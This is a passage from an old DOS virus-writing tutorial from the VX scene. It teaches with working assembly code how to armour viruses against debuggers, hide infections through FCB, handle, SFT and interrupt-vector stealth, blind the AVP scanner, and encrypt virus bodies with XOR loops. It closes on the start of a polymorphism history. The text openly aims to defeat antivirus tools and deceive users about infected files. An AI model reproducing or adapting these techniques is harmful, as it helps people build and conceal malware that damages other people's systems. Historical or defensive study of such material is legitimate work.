making some stuff for DDT magazine, so i haven't enough time for make my own
decent viruses for this tute. Hey! No one pays me for do this, you know? :)
---| Armouring your code |---------------------------------------------------
This is a very discused theme in da scene. Many VXers protects their code in
order to make AVers life more difficult. Of course we are talking about
antidebugging routines. There're a lot of techniques that all we know... but
it's good to see a couple of them here... don't you think?
This things have a lot of possible functions. They're a lot of configurable.
You can do custom-made routines for yer virus, too. I think put at least one
of this routines in your polymorphic engine ( in long-routines table, like
Wintermute's Zohra virus ) for fool the AVs which try to decrypt our code.
Here we go!
A very useful thing is deactivate keyboard. When we deactivate keyboard the
debugger user can't trace anymore ( F7 in TD ). If user runs the program at
full speed... no problem. Just an int 3 ( breakpoint ) will do the rest. It
is a very simple thing that works preety good! Let's see some code:
bye_keyb:
in al,21h ; Let's deactivate keyboard
or al,02h ; Try to press any key...
out 21h,al
fuck_int3:
int 3h ; Breakpoint
exit_adbg:
in al,21h ; Let's activate keyboard
and al,not 2 ; keyb works now
out 21h,al ; cool :)
This is a good method. Think you can do... deactivate keyboard all time when
our virus is being run will: keep the lamer-user get astonished, wont allow
him to press damned ^C, all you want to do can be made. Really useful and
simple thing.
Another method is play with the stack. Many antidebuggers suck with this old
and simple thing. You can do whatever you want with this in order to fuck'em
Code? Here you have:
do_shit_stack:
neg sp
neg sp
Simple, huh? You can also do a NOT instead of NEG. Same result.
tons_of_shit:
not sp
not sp
What a NEG does? It increases register by one and then apply a NOT on the
result. But it's a very old trick... you can add it but better search for
others, this is not definitive with quality debuggers like S-ICE. But if
you are doing a poly engine you can add a simple soutine like this and AVP
will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm..
I forget it... TBCLEAN says "Approached stack crash" :) Ok... continue this
shit. Another method you can use is overflow the stack:
overflower:
mov ax,sp
mov sp,00h
pop bx
mov sp,ax
Of course... there are more. Another of the classics is to hook int 1 and/or
int 3. You have many ways to do this. Well, we offer you some of this shit.
change_int1_and_int3_using_dos:
mov ax,2501h ; AL = INT to hook
lea dx,newint ; Take care if we need
int 21h ; ë offset, by adding it... ok?
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Why if don't used? hehehe :)
This routine can be notified by a TSR watchdog. We recommend you to use the
below method. Hookin' by direct manipulation:
int1:
xor ax,ax ; Let's try to put an IRET in INT 1
mov es,ax ; We need ES = 0. IVT is in 0000:0000
mov si,word ptr es:[1h*4] ; Get da offset
mov [si],0FEEBh ; a jmp $
int3:
xor ax,ax
mov es,ax
mov si,word ptr es:[3h*4]
mov [si],0FEEBh
If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a
nop and a iret [ reverse order, of course ] ).
A very cool idea you can have is to make int 3 point to int 21, and then you
can use this int instead the int 21. This will be good for two things: fuck
debuggers and optimize your code... why it optimize your code? the int 21
opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...
Remember that the int 3 is a breakpoint for debuggers, so everytime you call
int 3 the debugger will stop :) Here you have the code:
getint21:
mov ax,3521h ; Get interrupt vectors
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es
mov ax,2503h
lea dx,jumptoint21
int 21h
[...]
jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h
We can also make comparisons with the stack in order of know if we're being
debugged. Here you have some examples:
stack_compares:
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; not debugged
jmp $ ; hang computers is cool ;)
exit_adbg:
Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti )
Yes, there are more methods for armour our code. They're so old, but hey!
they work! Take a look to the next one... play with the prefetch is very
known. I like a lot this method.
[** NOTE : As a guy in i-net remembered me, this WON'T WORK in Pentiums **]
Take a look to this code:
prefetch:
mov word ptr cs:fake,0FEEBh ; Why do you think this made
fake: jmp nekst ; if debugged? Yes, hang PC!
nekst: ; Continue with your code here
You can also do much more things with da prefetch. You can jump to a routine
or put a hlt ( hangs too )... whatever you want, like this:
prefetch_fun:
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:
This code will terminate the execution of yer program. Quite kewl. Now, a
specific routine for SoftIce ( the best debugger also fooled ).
At least this is a lot of ppl say. More code here:
soft_ice_fun:
mov ax,0911h ; Soft-ice function for exec. command
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Yeah
int 03h ; Int for breakpoints
soft_ice_fuck db "bc *",10,0
Another trick is to hook int 8 and put there a compare to a variable in our
resident code, because a lot of debuggers deactivate all interrupts except
the int 8. The int 8 is executed 18.2 times in an only second. I recommend
you to save the old handler before hook it. Do you want code? here you have
save_old_int8_handler: ; You remember 40-hex magazine?
mov ax,3508h ; This routine is from issue #7
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Put int 8 handler
lea dx,virii
int 21h
fuckin_loop:
cmp fuckvar,1 ; This will cause a little delay
jnz fuckin_loop
pop ds ds
int 21h
mov ax,4C00h
int 21h
fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]
There is another trick i love. SoftIce hangs while loading, or it shows
an INVALID label, TD, TD32, debug and such like are stoned, so here it goes:
Just make something important with int 1, such as redirect it to int 21, for
example, and when you need to call int 1, just don't put the normal instruc-
tion:
int 01h
No. Just put the F1 byte. Is an undocumented opcode that occupies only one
byte, so it can optimize your code, is higly anti-debugging, so... for what
are ya waiting? :)
Remember Demogorgon lesson : " Unprotected code is public domain "
Hey! Be careful if you need the delta offset ( i.e. runtime viruses ),
and add it... ok?
---| Stealth |---------------------------------------------------------------
What is stealth ? Stealth in VX world is the name we give to all this stuff
that allow us the possibility of hide the infection symptoms, like file size
grow, " Abort, Retry, Ignore " error when we execute a program in a protect-
ed to disk write floppy, read the disinfected version of a file, the file
date seems to bee good...In another words, make the user believe fake things
Stealth is also the name of a VX group ( SGWW ), but this is another
history :)
% INT 24h stealth %
-------------------
Yes, this is stealth. You can think this stuff is quite old and else, but i
believe this is the first attempt to make stealth implemented in viruses.
The target is avoid da message " Abort, Retry, Ignore " when we're executing
a program in a write-protected floppy, cause the virus want to write, and it
does, but DOS notify this error. If the user sees this message will suspect
there's something wrong...
This is very easy. All we need is to replace the original INT 24h vectors
( the int that handles critical errors ) to a fake interrupt where the only
code is a " mov al,3 " followed by an " iret ".
Let's see:
mov ax,3524h
int 21h
mov word ptr [int24_off],bx
mov word ptr [int24_seg],es
mov ax,2524h
lea dx,int24handler
int 21h
[...]
int24handler:
mov al,3
iret
% Directory stealth %
---------------------
There are two kinds of directory stealth: by FCBs and by handles.
+ FCB stealth:
Do you remember the FCB structure? You can take a look to STRUCTURES chapter
if you've alzheimer :)
Well, let's see... Our target here is to susbract the virus size to the
actual infected virus size. You must add something like this to your int 21h
handler:
[...]
cmp ah,11h ; FindFirst ( FCB )
je FCBstealth
cmp ah,12h ; FindNext ( FCB )
je FCBstealth
[...]
Then we create a procedure called FCBstealth ( or the name you like more ),
and put in it a fake interrupt call. Then we check if result is 0. If it is,
we jump directly to the interrupt return. Else, we continue. Now we push the
register what we use ( AX, BX, ES ), and we call to the INT 21h function
AH=2Fh, that return us the address of the DTA in ES:BX. It's time to check
if the FCB is normal or extended. We can know it by comparing the first byte
of FCB ( in ES:[BX] ) with FFh. If it's equal, the FCB is extended, so we
fix it by adding 7 bytes to BX. If it's normal we preserve it. Now we check
if the file was previously infected. For make our stuff easiest, i will
assume that the infection mark is to set up seconds to 60 ( an impossible
value ). If it isn't infected, we skip that file. Now it's time to substract
the virus size, and... here we have! FCB stealth! Let's see code:
FCB_Stealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to INT 21h
or al,al ; Optimized cmp al,0
jnz error
push ax bx es
mov ah,2Fh ; Get DTA address in ES:BX
int 21h
cmp byte ptr es:[bx],0FFh ; Is FCB extended ?
jne normal
add bx,07h ; No, fix it
normal:
mov ax,es:[bx+17h] ; Get seconds
and ax,1Fh ; Unmask seconds
xor al,1Eh ; Are seconds = 60 ? ( 30*2 )
jne not_infected ; No, skip it
sub word ptr es:[bx+1Dh],virus_size ; Substract virus size
sbb word ptr es:[bx+1Fh],0 ; With borrow, too
not_infected:
pop es bx ax
error:
retf 02
+ Handle stealth:
The handle is another way to do the same than FCB stealth. Our objective is
the same, hide the size ( and seconds if required )... but the function we
must intercept and the things we must change are a little bit different ( if
not we used the same code than above ) ;)
Well, the code placed in your INT 21h handler is something like this:
[...]
cmp ah,4Eh ; FindFirst ( Handle )
je HandleStealth
cmp ah,4Fh ; FindNext ( Handle )
je HandleStealth
[...]
And now, I'll explain how is a typical routine for Handle stealth.
Firstly, we make a fake call to da old INT 21h ( after pushing flags, of co-
urse ). After this, we save the registers we're going to use ( AX, BX, ES ),
and get the DTA in ES:BX ( AH=2Fh ). We check for previous infection ( secs
in ES:[BX+17h] ), and if it's already infected, we substract the virus size
to the file size. It's very similar to the above stealth method, but, as you
can see, there're some things that make it different :)
A theory lesson is a shit without some code :)
HandleStealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to DOS API
jc goback ; CF=1 if error
push ax bx es ; Save registers we use
mov ah,2Fh ; DTA @ ES:BX
int 21h
mov ax,es:[bx+16h] ; Get the file time
and ax,1Fh ; Unmask Seconds
xor al,1Eh ; 60 ? ( Compare in optimized way )
jne damnedpops ; Fuck!
sub word ptr es:[bx+1Ah],virus_size ; Guess...
sbb word ptr es:[bx+1Ch],0
damnedpops:
pop es bx ax ; Get the old values
goback:
retf 02
% Problems in directory stealth %
---------------------------------
There're some problems that need to be fixed, in order to avoid user's panic
We need to check if some programs are being run:
- Compressors, such PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them
an incorrect size, they'll fuck in order to compress files :(
- Utilities like CHKDSK, that will be fucking around showing a neverending
errors list, cause of the size in sectors isn't equal to the size we show
to the user eyes :(
- AVs, like F-PROT, AVP and other SCUM, to prevent their messages about a
probable infection by a stealth virus.
So, it's a good idea to waste some code space making comparisons in order to
see if one of this program is being run, and then deactivate stealth ( and
activate later, when we're outside danger )
% INT vectors stealth %
-----------------------
This kinda stealth is very easy. When we use this method, we are trying to
give the original vectors ( this ones that we caught before install our own
interrupt handler ) to the programs that request for it. This is good for
some things: our interrupt handler will be always the first. Let's see what
we have to add to our INT 21h vectors if we've hooked the said INT.
[...]
cmp ax,3521h ; Get INT 21h vectors
je RequestINT21h
cmp ah,2521h ; Put INT 21h vectors
je PutNewINT21h
[...]
And our routines look like this:
RequestINT21h:
mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset
mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment
iret
PutNewINT21h:
mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
mov word ptr cs:[int21_off],dx ; " " " offset " int21_off
iret
% Time stealth %
----------------
Here i can't put code because this thing is very personal, it must be custom
made to your needs when coding your virus. You can use many ways for mark da
infected files... Put seconds to 60, 62... ( impossible ), increase years by
100, make equal seconds and day... The way for obtain time and date is with
the function AX=5700h, and for put new values the AX=5701h. In CX goes time,
and in DX, date ( the ones we must intercept for make the stealth )
% SFT stealth %
---------------
If you remember the preety structure called SFT, at offset 11 we had a dword
that shows the file size. All we need is to see if the file was already inf-
ected, and if it was, substract to the file size the virus size. Let's see
a little piece of code ( assuming the infection mark is seconds = 60 and we
have called to a routine that gave us the SFT in ES:DI ):
Infect:
[...]
mov ax,word ptr es:[di+0Dh] ; Get time
and al,01Fh ; Unmask seconds
cmp al,01Eh ; Seconds = 60 ?
jnz AintInfected ; No, infect it
sub word ptr es:[di+11h],virus_size ; Yes, substract virus size
sbb word ptr es:[di+13h],0000h
[...]
AintInfected:
[...]
There is a good thing you can do for avoid the AVP 3.0 scanning. First, we
must know if AVP is here. When AVP 3.0 opens a file, there're some values
that let us know it is fucking around ( BX=5, SI=402Dh ). It's time to get
SFT, and then make all file zero-size for Kaspersky's son, with two only
code lines:
mov word ptr es:[di+11h],0000h
mov word ptr es:[di+13h],0000h
or only one if we can :)
mov dword ptr es:[di+11],00000000h
% Disinfection on the fly %
---------------------------
Here again, i can't give you some code. It must be custom made... Well, i
can give you the INT 21h lines, but nothing else:
[...]
cmp ah,03Dh ; Open file
jz Disinfect
cmp ax,6C00h ; Extended open
jz Disinfect
cmp ah,03Eh ; Close file ( infect now!!! )
jz Infect
[...]
Now we must note one thing... we must fix some things for make da same rout-
ine for AH=3Dh and AX=6C00h.
1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h
So we need to make a routine for fix the access with the 6C00h function. It
probably will look like this:
Disinfect:
cmp ax,6C00h
jne Check
cmp dx,1
jne ExitDisinfection
mov al,bl ; Open mode in AL
mov dx,si ; File name is now in DS:DX
Check:
mov ax,5700h
int 21h ; If we've hooked this function,
; we need to make a fake call! ( or
; use SFTs! )
and cl,1Fh ; Unmask seconds
or cl,1Eh ; Is it 60?
jnz NotInfected
[...]
The disinfection way is a routine that you must to do. It can't be as gene-
ral as FCB stealth, because you can choose between a lot of things. Ok, i'm
gonna explain at least how it works.
+ Disinfection of COM files:
The disinfection of COM files is very easy. We need to restore the first
bytes we've changed on infection by the original ones ( ussually 3 bytes ),
restore the original time/date of the file, and remove the virus body ( trun
cating the file at offset "end of file - virus size" ).
+ Disinfection of EXE files:
This is a little bit more hard to do, but not to understand :)
We need to restore the original header of the file, restore the time/date
and remove the virus body at the end of the file. But the problem comes when
our virus is encrypted. You have to choose between leave this bytes unencry-
pted ( giving to the AVs the way to disinfect our virus ) or decrypt
this bytes. Anyway, it's very simple.
% Win9X stealth compatibility %
-------------------------------
Well, we must take care that in Win9X enviroments (Win95, Win98) the usual
FCB or Handle stealth doesn't work properly. Simply check for function 714Eh
(FindFirst for Long File Names) and 714Fh (FindNext for LFN).
% Last words about stealth %
----------------------------
There're more stealth methods, like 4202 stealth, sector stealth... but i've
explained da most simple and used ones. And, BTW, we don't need 4202 stealth
if we use SFT stealth :)
Probably the worst thing in some kinds of stealth is the uncompatibilities
with some software, that can fuck our need to be hidden.
After reading this, you would wonder why "Is stealth useful ?". The answer
is a great YES. This is one of the best methods for conceal the possible
infection to the user: the files seem to have the same size than before the
infection, when an AV is executed and we have a disinfection routine, this
AV won't detect anything ( the same for those niggas that waste their time
using an HEX editor in order to see if something's wrong ), and a lot of
more things. The best you can do is deactivate stealth when a program like
CHKDSK, or PKZIP. All this in yer hands...
---| Encryption |------------------------------------------------------------
Encryption techniques are really old, but they're still effective, and very
used. Problably is one of da things that survived many years in concept, but
with continuous improvements like polymorphism, metamorphism, and such like.
Our target is to hide all our text strings, suspicious opcodes, and all our
stuff of the user eyes. We can do it with a simple math operation, applied
to all bytes of our virus body. For example, we can increase by one all the
bytes of our virus, and we can see that there isn't a readable text string
or something in our virus :)
The structure of an encrypted virus is like this:
.-----------------------------------. It's very simple. There's
.-| Call to decryptor | a call to the decryptor,
| |-----------------------------------|<---. when the decryptor ends
| | | | its job, it gives the
| | | | control to the virus, and
| | Infected file | | when the virus ends its
| | | | execution, the control is
| | | | returned to the original
| |-----------------------------------|<-. | program.
| | | | |
| | Virus body | | |
| | | | |
'>|-----------------------------------|----'
| Decryptor | |
'-----------------------------------'--'
There is a math operation that gives us one advantage. We can use the same
procedure to encrypt and decrypt our code. Of course we're talking about
XOR, the most used instruction for decryptors. There're two more instructi-
ons that can be used for our purposes of using the same procedure for en-
crypt and decrypt: NOT and NEG. The most used of this two is the first one.
Of course, we can use a lot of more instructions for encryption. I'll show
you a little list of instuctions we can use:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
The simplest way for encrypt our virus is to use a routine like this:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
This procedure is really poor. It only have 255 posibilities because we're
working with a 8-byte register as key ( AL ).
Of course this is the simplest way. We must take note of some things:
- If we use a routine like this, and we haven't a second copy of our virus
in memory ( i will talk about it in this same article ), when using this
routine we must left unencrypted the procedure that copies ( and call to
encrypt procedure too ) virus to the victim.
- We must take care of the virus state in its first generation: it's unenc-
rypted. Using xor, we can use the value of 00 to make this, in the first
generation, and make a procedure that changes this value in the code, or si-
mply avoid the execution of the encryption routine in the first generation.
Now, we'll see how is the above encryption procedure when using a 16-byte
encryption as the key:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
The problem is: if we left the copy and encryption procedures unencrypted...
what will AV do? They have in our hard worked virus ( yes, yes, the same in
what we spend a lot of weeks of work trying to make it anti-heuristic,
stealth, with a lot of cool tricks, a new and wonderful stuff...) a scan
string enough big for add it to their AV. In 5 minutes they implemented in
their AV the way for detect our virus. Argh! A VXer spends days in create a
decent virus, and because he used a simple encryptor like this, in 5 minutes
our enemies have the way for detect us! This world is really a shit! :(
But, the VXers never surrender, so... We need to make the decryptor as small
as possible. Ain't enough. In the next chapter you'll have the best possible
answer :)
How we can have a second copy of our virus in memory? It's very simple.
After the label that marks the last byte that the virus will copy, we can
have something like this:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
The enc_buffer variable will only have code in the first generation. When we
spread the virus, this variable won't be copied within it. But we can use
its offset for have a second copy of our virus there. What we can do is...
- When we copy our virus to memory ( in a TSR one ), we make this another
time, and when we're putting in the code the EXE header, or the first bytes
of the COM, we put them in the same offset where this variables will go
shifted by virus size. Ok, i'll explain it better. Imagine we have something
like:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
Ok. Then, if we have the second copy of the virus in memory, we must subst
the third line for something like:
lea dx,virus_size+old3bytes
The best way is to experiment with it...
- Or we can copy the virus body just before the appending: we have all the
variables set. The movement will be like this:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb
We encrypt it, append this second copy and... that's all folks!
---| Polymorphism |----------------------------------------------------------
This is one of the most interesting things in a virus. It's also very funny
to code a PER ( Polymorphic Encryption Routine ), and it shows clearly how
is the " style " of the VXer that coded it. It's also the thing that all
beginners think that is very hard to do, and only the experimented VXers can
do it. DON'T THINK IT! It's very simple. Don't be afraid. If you've arrived
till here alive, i'm sure you'll understand ALL. This chapter is an extensi-
on of the ENCRYPTION chapter.
Our objective doing a PER is the neverending one in the VX world : defeat
AVs by minimizing the scan string of our viruses, aka FUCK'EM ALL! :)
The concept is to generate different decryptors for each infection, so the
AVs will suck in order to detect our virus. And this technique, with STEALTH
ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful
Ok, let's begin with the interesting stuff.
% History %
-----------
Da first attempts to make a PER were made by a bulgarian coder, probably one
of the bests virus creators ever, called Dark Avenger. His viruses were, are
and will be a touch stone for all VXers. From his first viruses, like Eddie,
he showed a great quality for coding. But the best stuff came with the
release of the MtE ( Mutation Engine ), the first good PER in the VX history
All AV researchers went mad in order to find a scan string for the viruses
based in this engine. After a lot of hard word ( ??? ) in the AV side they
found a reliable scan string for catch MtE. But it was just the beginning.
Masud Khafir, member of the TridenT virus research group, developed TPE,
Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor )
and many other virus researchers made other cool engines. When we're talking
about the polymorphic engines, we must think that this technique was made in
1992, a long time ago. The